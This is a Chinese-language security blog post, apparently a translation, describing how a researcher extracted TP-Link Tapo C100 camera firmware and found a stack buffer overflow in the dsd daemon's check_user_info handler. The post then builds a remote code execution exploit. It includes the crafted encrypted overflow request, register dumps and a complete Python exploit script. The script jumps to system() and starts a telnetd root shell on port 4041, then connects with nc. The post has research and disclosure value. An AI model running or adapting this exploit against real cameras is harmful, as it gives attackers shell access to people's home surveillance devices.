白帽故事 · 2024年6月7日

在家用摄像头中利用 N-Day

背景介绍

今天分享国外网友@io::pewpew()针对 TP-Link Tapo C100 家用摄像头从提取固件到发现 N-day并编写完整 RCE 的漏洞利用完整过程,废话不多说,让我们开始吧。

提取固件

file

为了在设备上获得初步立足点,白帽小哥将电线焊接在设备的 UART 引脚,期望以此获得 bash shell。

白帽小哥计划尝试从该设备的其它型号中使用已知技术:将 SD 卡插入摄像头→将 /dev/mtdblock* 文件复制到卡→插入到笔记本电脑→然后运行 binwalk

然而,由于某种原因,摄像头无法检测到 SD 卡,于是白帽小哥采用了以下方法:

  1. 使用 xxd (或 hexdump )转存 /dev/mtdblock* 文件的全部内容
  2. 将所有 UART 输出保存到 txt 文件
  3. 将其从十六进制解码回原始字节

dsd二进制文件简介

位于 /usr/bin/dsd 的 dsd 二进制文件是摄像头向客户端公开的 REST API 的主要组件之一。

基本上, uhttpd 二进制文件使用本地 unix 套接字将用户输入发送到 dsd 二进制文件,执行必要的操作(更改设置等)并返回响应。

file

发现bug

该bug存在于 check_user_info 请求处理程序中,请求信息如下:

{"user_management":{"check_user_info":{"username":"aaaa","password":"bbbb","encrypt_type":"2"}}, "method":"do"}

代码处理流程:

undefined4 FUN_004288a4(int param_1,int param_2)
{
  int iVar1;
  char *__s;
  char *__s1;
  int iVar2;
  char *pcVar3;
  size_t sVar4;
  size_t sVar5;
  undefined4 uVar6;
  char acStack_80 [64];
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  int local_30;

  memset(acStack_80,0,0x40);
  local_40 = 0;
  local_3c = 0;
  local_38 = 0;
  local_34 = 0;
  if ((((param_1 == 0) || (param_2 == 0)) || (iVar1 = jso_is_obj(param_2), iVar1 == 0)) ||
     ((iVar1 = jso_obj_get_string_origin(param_2,"username"), iVar1 == 0 ||
      (__s = (char *)jso_obj_get_string_origin(param_2,"password"), __s == (char *)0x0)))) {
    uVar6 = 0xffff146f;
  }
  else {
    __s1 = (char *)jso_obj_get_string_origin(param_2,"encrypt_type");
    if (__s1 == (char *)0x0) {
      __s1 = "1";
    }
    printf("\t [dsd] %s(%d): ","check_user_info",0x59b);
    printf("encrypt_type:%s.",__s1);
    putchar(10);
    iVar2 = strcmp(__s1,"2");
    if (iVar2 == 0) {
      pcVar3 = (char *)FUN_0040e304(); // [1]
      sVar4 = strlen(__s);
      sVar5 = strlen(pcVar3);
      pcVar3 = (char *)private_decrypt(__s,sVar4,pcVar3,sVar5); // [2]
      printf("\t [dsd] %s(%d): ","check_user_info",0x5a1);
      printf("plaintext:%s.",pcVar3);
      putchar(10);
      if (pcVar3 != (char *)0x0) {
        local_30 = sscanf(pcVar3,"%[^:]:%[^:]",acStack_80,&local_40); // [3]
        printf("\t [dsd] %s(%d): ","check_user_info",0x5a5);
        printf("hashPswd(%s)  rsa_nonce(%s).",acStack_80,&local_40);
        putchar(10);
        if (local_30 == 2) {
          __s = acStack_80;
        }
        free(pcVar3);
      }
    }
    iVar2 = FUN_0040d1a0(param_1);
    if (iVar2 == 0) {
      iVar1 = FUN_0040d510(param_1,iVar1,__s);
      if (iVar1 == 0) {
        uVar6 = 0xffff622f;
      }
      else {
        iVar1 = strcmp(__s1,"2");
        uVar6 = 0;
        if ((iVar1 == 0) && (iVar1 = FUN_0040e15c(&local_40), iVar1 < 0)) {
          uVar6 = 0xffff6227;
        }
      }
    }
    else {
      uVar6 = 0xffff6229;
    }
  }
  return uVar6;
}

在 [1] 处,获取 RSA 密钥并将其存储在 pcVar3 中,然后,用户输入将在 [2] 处解密。

解密用户输入后,该函数使用 sscanf 将明文拆分为两个变量 : 中间用":"字符隔开(如:AAAA:BBBB)。

bug位于 private_decrypt (在 libdecrypter.so 中)最多可以解密 0x80 字节:

void * private_decrypt(int param_1,int param_2,undefined4 param_3)
{
  int iVar1;
  BIO *bp;
  RSA *rsa;
  size_t __n;
  undefined4 uVar2;
  void *__dest;
  undefined auStack_918 [2048];
  uchar auStack_118 [128];
  uchar auStack_98 [120];
  int local_20 [3];
  /* ... more code ... */
  rsa = PEM_read_bio_RSAPrivateKey(bp,(RSA **)0x0,(undefined1 *)0x0,(void *)0x0);
  if (rsa == (RSA *)0x0) {
  /* ... more code ... */
  }
  local_20[0] = 0x80;
  /* ... more code ... */
  else {
    __n = RSA_private_decrypt(local_20[0],auStack_118,auStack_98,rsa,1);
    if ((int)__n < 0) {
      uVar2 = 0x1abc;
      goto LAB_00011588;
    }
  /* ... more code ... */
  __dest = calloc(0x75,1);
    if (__dest == (void *)0x0) {
      msglog(6,0x1a40,0x1b6c);
    }
    else {
      memcpy(__dest,auStack_98,__n);
      *(undefined *)((int)__dest + __n) = 0;
    }
  }
  RSA_free(rsa);
LAB_0001160c:
  BIO_free_all(bp);
  return __dest;
}

这可能会导致缓冲区溢出,因为 libdecrypter.so 中的缓冲区大小最多可以容纳 128 个字节,但 dsd 二进制文件中的堆栈缓冲区可容纳的字节数远小于 128 字节。

在对二进制文件中看到的字符串/常量进行更多谷歌搜索后,白帽小哥发现这个bug是在 2020 年的另一个型号中发现的:TL-IPC43AN-4(由 CataLpa 发现),并且在C100中没有修复。

他的摄像头有点不同:他有 Web UI(C100只能访问移动应用程序/API),他的摄像头运行 ARM 二进制文件(而C100的是 MIPS),但看起来这些摄像头共享了相同的 dsd 组件/守护进程。

此外,白帽小哥找不到该bug(或漏洞利用)的任何其它文档,因此白帽小哥猜测它可能是那些不可利用的无用崩溃。

不管怎样,白帽小哥还是决定试一试,说不定能成为那个编写完整漏洞利用的男人呢?

触发漏洞

要触发该漏洞,需要将以下 POST 请求序列发送到 /stok=<YOUR_SID>/ds

请求1-获取加密密钥:

{
    "user_management":{
        "get_encrypt_info": {}
    },
    "method":"do"
}

file

请求2-使用上一步中的密钥加密以下Payload:

QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

密文:
pcV7TYekRREp49SYKlCbx2NU1+3A+y8y4a2VL4hPCvqZXATsU7DicFsauJWLEw/OB0uGe2ZcHrCzXTqhk0JoDXY6Rfv/IbWeOtqOMQkDh4e0VWCk0rEAo63KuaSdnRAneWOR5j1c0ig54gFoBblJ4kHz4a4OphX6kUJce0aDQRk=

请求3-按以下方式发送加密结果:

{
    "user_management":{
        "check_user_info":{
            "username":"HelloWorld",
            "password":"ENCRYPTED_PAYLOAD_GOES_HERE",
            "encrypt_type":"2"
            }
        },
    "method":"do"
}

file

查看结果:

Continuing.
         [dsd] check_user_info(1293): encrypt_type:2.
         [dsd] check_user_info(1299): plaintext:QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC.
         [dsd] check_user_info(1303): hashPswd(QQQ)  rsa_nonce(AAAAAAAAAAAAAAAA).

Thread 2 "dsd" received signal SIGBUS, Bus error.
[Switching to LWP 825]
0x42424242 in ?? ()

Nice!

漏洞利用

触发漏洞是一回事,利用漏洞则那就是另一回事了。

白帽小哥没有 MIPS 经验,但他随时准备迎接新的挑战。

利用该溢出可能很棘手,因为即使可以破坏内存 – 也无法输入空字节(对 scanf() 的调用中的 %[^:] 格式说明符将在空字节后停止) 。

因此,不能输入多个地址在堆栈上构建 ROP/JOP 链。它要求找到完美的gadget:一个能够神奇地跳转到系统并将任意字符串放入第一个参数的gadget。

经过更多分析后,白帽小哥发现这个原始代码非常强大,并且不需要任何 ROP/JOP 链。

因为不仅控制 ra 寄存器(它允许我们控制程序的执行) – a0 寄存器的值指向来自我们的 HTTP 请求的字符串( username 字段)。换句话说:我们不需要找到完美的gadget,因为它已经在崩溃中了。

0x42424242 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 10001c00 ffff622f 00000000 004ab739 00432685 00000000 7796bdb0
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000000 00000000 31454630 32463132 39464233 46344443 46334442 00450000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  0044c930 779bb600 00000001 00000000 77bfd4c0 7796bef0 41414141 42424242
        status       lo       hi badvaddr    cause       pc
      00001c13 0d713e0e 00000008 42424242 40808010 42424242
          fcsr      fir  restart
      001c0004 00b70000 00000000
(gdb) x/s $a0
0x4ab739:       "elloWorld"

要利用此漏洞,所要做的就是制作以下请求:

{
    "user_management":{
        "check_user_info":{
            "username":"//bin/echo 1337-1337-1337","
            password":"encrypted large buffer that will overflow",
            "encrypt_type":"2"
        }
    },
    "method":"do"
}

我们不需要另一个漏洞来破坏 ASLR,因为二进制文件是在没有 PIE 的情况下编译的,因此我们需要的只是直接跳转到 system@plt 即可。

完整的漏洞利用如下,(固件版本 1.3.7 上进行测试):

#!/usr/bin/env python3
import requests
import urllib
from Crypto import Random
from Crypto.Hash import SHA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
from Crypto.PublicKey import RSA
import base64
import pwn
import os
import ssl
from requests.adapters import HTTPAdapter
import urllib3
from urllib3.util import ssl_
from urllib3.poolmanager import PoolManager

# ==== [ignore this part, setup related class] ====
CIPHERS = "AES256-SHA"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class TlsAdapter(HTTPAdapter):
    def __init__(self, ssl_options=0, **kwargs):
        self.ssl_options = ssl_options
        super(TlsAdapter, self).__init__(**kwargs)

    def init_poolmanager(self, connections, maxsize, **pool_kwargs):
        ctx = ssl_.create_urllib3_context(
            ciphers=CIPHERS, cert_reqs=ssl.CERT_OPTIONAL, options=self.ssl_options
        )
        self.poolmanager = PoolManager(
            num_pools=connections, maxsize=maxsize, ssl_context=ctx, **pool_kwargs
        )
# ==== [/ignore this part, setup related class] ====

# ====================================
# EXPLOIT STARTS HERE
# ====================================
# Tested on Tapo C100 firmware version 1.3.7
IP = '10.0.0.57' # device IP goes here  
HASHED_PWD = ''  # hashed password goes here
SYSTEM_PLT = 0x43c930 # address of system()

def send_req(ip, req_body, route='/'):
    sess = requests.session()
    sess.mount('https://', TlsAdapter())
    resp = sess.post(f'https://{ip}{route}', headers={'User-Agent': 'Tapo CameraClient Android'} ,json=req_body, verify=False, timeout=2)
    sess.close()
    return resp

def get_stok(ip, password):
    req_body = {"method":"login","params":{"hashed":True,"password":password,"username":"admin"}}
    resp = send_req(ip, req_body)
    if resp.status_code == 200:
        resp = resp.json()
        return resp['result']['stok']
    else:
        raise Exception('cannot get stok!')

def rsa_encrypt(key, p):
    rsakey = RSA.importKey(key)
    cipher = Cipher_pkcs1_v1_5.new(rsakey)
    cipher_text = base64.b64encode(cipher.encrypt(p))
    return cipher_text

def get_public_key(ip, stok):
    req_body = {"user_management":{"get_encrypt_info":{}},"method":"do"}
    resp = send_req(ip, req_body, route=f'/stok={stok}/ds')
    if resp.status_code == 200:
        resp = resp.json()
        return resp['key']
    else:
        raise Exception('Login failed!')

def exploit(target_host, stok):
    print('[*] Preparing payload...')
    public_key = "-----BEGIN PUBLIC KEY-----\n" + get_public_key(target_host, stok) + "\n-----END PUBLIC KEY-----"
    payload =  b"BBB:" + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
    payload = payload.replace(b'paaa', pwn.p32(SYSTEM_PLT))
    password = rsa_encrypt(public_key, payload)
    cmd = '//usr/sbin/telnetd -l /bin/sh -p 4041 & '
    req_body = {"user_management":{"check_user_info":{"username":cmd,"password":password.decode(),"encrypt_type":"2"}},"method":"do"}
    try:
        print('[*] popping a shell :^)')
        resp = send_req(target_host, req_body, route=f'/stok={stok}/ds')
    except Exception as e:
        print('[*] bof triggered successfully')
        pass

    print('[*] Connecting to the target device')
    os.system(f'nc {target_host} 4041')

# main 
print(f'[*] Attacking {IP}')
stok_val = get_stok(IP, HASHED_PWD)
exploit(IP, stok_val)

以上内容由骨哥翻译并整理。

原文:https://0xbigshaq.github.io/2024/01/05/tp-link-tapo-c100/